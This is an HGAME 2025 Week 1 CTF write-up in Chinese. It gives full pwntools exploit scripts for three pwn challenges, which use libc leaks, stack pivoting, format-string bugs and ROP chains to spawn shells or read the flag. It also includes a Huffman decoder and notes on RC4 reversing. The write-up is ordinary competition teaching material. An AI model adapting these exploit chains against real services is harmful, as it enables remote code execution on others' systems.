HGAME 2025 Week 1 Writeup

counting petals

Vulnerabilities

存在越界写入漏洞。

存在任意读漏洞。

Exploit

观察栈结构,构造数据使 v9=16 时令 v8, v9 为不合法的值,从而泄露栈上的 libc 地址。

第二次循环时利用任意写,构造 ROP 链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = "debug"
p = remote("node2.hgame.vidar.club",32442)
libc = ELF("./libc.so.6")
e = ELF("./vuln")
pop_rdi_off = 0x2a3e5
pop_rsi_off = 0x2be51
pop_rdx_r12_off= 0x11f2e7
p.sendlineafter("How many flowers have you prepared this time?","16")
for i in range(15):
p.sendlineafter("the flower number",str(0))
p.sendlineafter("the flower number",str(0x1400000013))
p.sendlineafter("latter:",str(1))
p.recvuntil(b"+ 1 + ")
number = p.recvuntil(b" +", drop=True)
number = number.decode().strip()
libc_address = int(number)
log.info(hex(libc_address))
libc_base = libc_address - 0x29D90
log.info(hex(libc_base))
sys_addr = libc_base + libc.sym["execve"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base + pop_rdi_off
pop_rsi = libc_base + pop_rsi_off
pop_rdx_r12 = libc_base + pop_rdx_r12_off
p.sendlineafter("How many flowers have you prepared this time?","16")
pause()
for i in range(15):
p.sendlineafter("the flower number",str(0))
p.sendlineafter("the flower number",str(0x120000001a))
p.sendlineafter("the flower number",str(pop_rdi))
p.sendlineafter("the flower number",str(binsh_addr))
p.sendlineafter("the flower number",str(pop_rsi))
p.sendlineafter("the flower number",str(0))
p.sendlineafter("the flower number",str(pop_rdx_r12))
p.sendlineafter("the flower number",str(0))
p.sendlineafter("the flower number",str(binsh_addr))
p.sendlineafter("the flower number",str(sys_addr))
p.sendlineafter("latter:",str(1))
p.interactive()

ezstack

根据题目所给的 Dockerfile 获取远程环境相应的 libc:

docker build -t pwn:v1 .

禁用 execve

Vulnerabilities

存在栈溢出漏洞。

可以修改 rbp 进行栈迁移。

有大段的可写可读段。

Exploit

栈迁移到恰当位置,令 fd=4 泄露 libc 地址,并调整程序读入的长度,方便后续存放 ROP 链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context.log_level ="debug"
p = remote("node1.hgame.vidar.club",32351)
e = ELF("./vuln")
libc = ELF("./libc-2.31.so")
write_plt = e.plt['write']
write_got = e.got['write']
writable_addr = 0x404154
read_ret = 0x40140f
pop_rdi = 0x401713
pop_rsi_r15 = 0x401711
leave_ret = 0x401425
print("plt:",hex(write_plt))
print("got:",hex(write_got))
pause()
payload = b'a' * 80 + p64(writable_addr) + p64(read_ret)
p.sendafter("Good luck.",payload)
pause()
payload = flat({
0x00: [
p64(writable_addr),
p64(pop_rdi),
p64(0x4),
p64(pop_rsi_r15),
p64(write_got),p64(0),
p64(write_plt), #write(4,<write@got>)
p64(read_ret),
p64(leave_ret),
],
0x50: [
p64(writable_addr-0x50),
p64(leave_ret),
]
})
p.send(payload)
write_address = u64(p.recvuntil('\x00\x00',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = write_address - 0x10e280
log.info(hex(libc_base))
pop_rdx_r12 = libc_base + 0x119431
pop_rsi = libc_base + 0x2601f
_read= libc_base + libc.symbols["read"]
_open= libc_base + libc.symbols["open"]
_write= libc_base + libc.symbols["write"]
payload = flat({
0x00: [
p64(0x404154+0xd0),
p64(pop_rsi),
p64(0x404154),
p64(pop_rdx_r12),
p64(0x200),p64(0),
p64(_read),# read(4,buf,0x200)
p64(leave_ret),
p64(leave_ret),
],
0x50: [
p64(writable_addr-0x50),
p64(leave_ret),
]
})
pause()
p.send(payload)
payload = flat({
0x00: [
p64(0xc0ffee),
p64(pop_rdi),
p64(0x404154+0xe0),
p64(pop_rsi),
p64(0),
p64(pop_rdx_r12),
p64(0),p64(0),
p64(_open), # open(./flag,0,0)
p64(pop_rdi),
p64(0x5),
p64(pop_rsi),
p64(0x404154+0xe0),
p64(pop_rdx_r12),
p64(0x100),p64(0),
p64(_read), #read(5,buf,0x100)
p64(pop_rdi),
p64(0x4),
p64(pop_rsi),
p64(0x404154+0xe0),
p64(pop_rdx_r12),
p64(0x30),p64(0),
p64(_write), #write(4,buf,0x20)
],
0xd0: [
p64(0x404154),
p64(leave_ret),
],
0xe0: [
b'./flag\x00',
]
})
pause()
p.send(payload)
p.interactive()

format

Vulnerabilities

格式化字符串漏洞。

整型判断,使用无符号整型传入。输入一个负数即可绕过输入长度的限制。

可以栈迁移。

Exploit

使用 %p 泄露栈的地址,在 vuln 函数的栈帧内写入更长的格式化字符串,然后控制 rbp 到合适位置,溢出覆盖返回地址为格式化漏洞处,泄露 libc 地址,再次进入 vuln 构造 ROP 链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level ="debug"
p = remote("node1.hgame.vidar.club",30762)
e = ELF("./vuln")
libc = ELF("./libc.so.6")
leave_ret = 0x4011ee
main = 0x4011f0
p.sendlineafter("you have n chance to getshell",str(1))
p.sendlineafter("type something:","%p")
p.recvuntil(b"you type: 0x")
stack_addr = p.recvuntil(b"you have", drop=True)
stack_addr = int(stack_addr,16)
log.info(hex(stack_addr))
rbp = stack_addr + 0x211c
p.sendafter("n = ","-1\x00")
pause()
payload = flat({
0x00: [
b'%9$p',
p64(rbp),
p64(0x4012cf),
]
})
p.sendafter("type something:",payload)
p.recvuntil(b"0x",drop=True)
libc_addr = p.recv(12)
libc_addr = int(libc_addr,16)
libc_base = libc_addr - 0x29d90
log.info(hex(libc_base))

binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
sys_addr = libc_base + libc.sym["system"]
pop_rdi = libc_base + 0x2a3e5
payload = flat({
0x0c: [
p64(0x40101a),
p64(pop_rdi),
p64(binsh_addr),
p64(sys_addr)
]
})
p.sendafter("type something:",payload)
p.interactive()

Compress dot new

题目给出 Nushell 编写的 Huffman 编码,解码代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def "decode" [tree encoded] {
let bits = ($encoded | split chars)
mut result = []
mut current_node = $tree
for bit in $bits {
$current_node = if $bit == '0' {
$current_node.a
} else { $current_node.b }
if 's' in $current_node {
$result ++= [$current_node.s]
$current_node = $tree
}
}
if 's' in $current_node {
$result ++= [$current_node.s]
}
$result | each { into binary } | bytes collect
}

def "decompress" [] {
let input = (open ./enc.txt --raw | split row "\n")
let tree = $input.0 | from json
let encoded_str = $input.1
decode $tree $encoded_str
}

decompress | save ./flag.txt --force

部分内容参考 DeepSeek R1 生成

Turtle

DIE 检测存在 upx 壳,使用 x64dbg 定位程序入口点后 dump 脱壳。

程序使用两次 RC4 加密,依该加密算法的对称性质,第一次加密函数处传入密文得到 key。

第二次加密函数处将 -= patch 为 +=,传入密文得到 flag。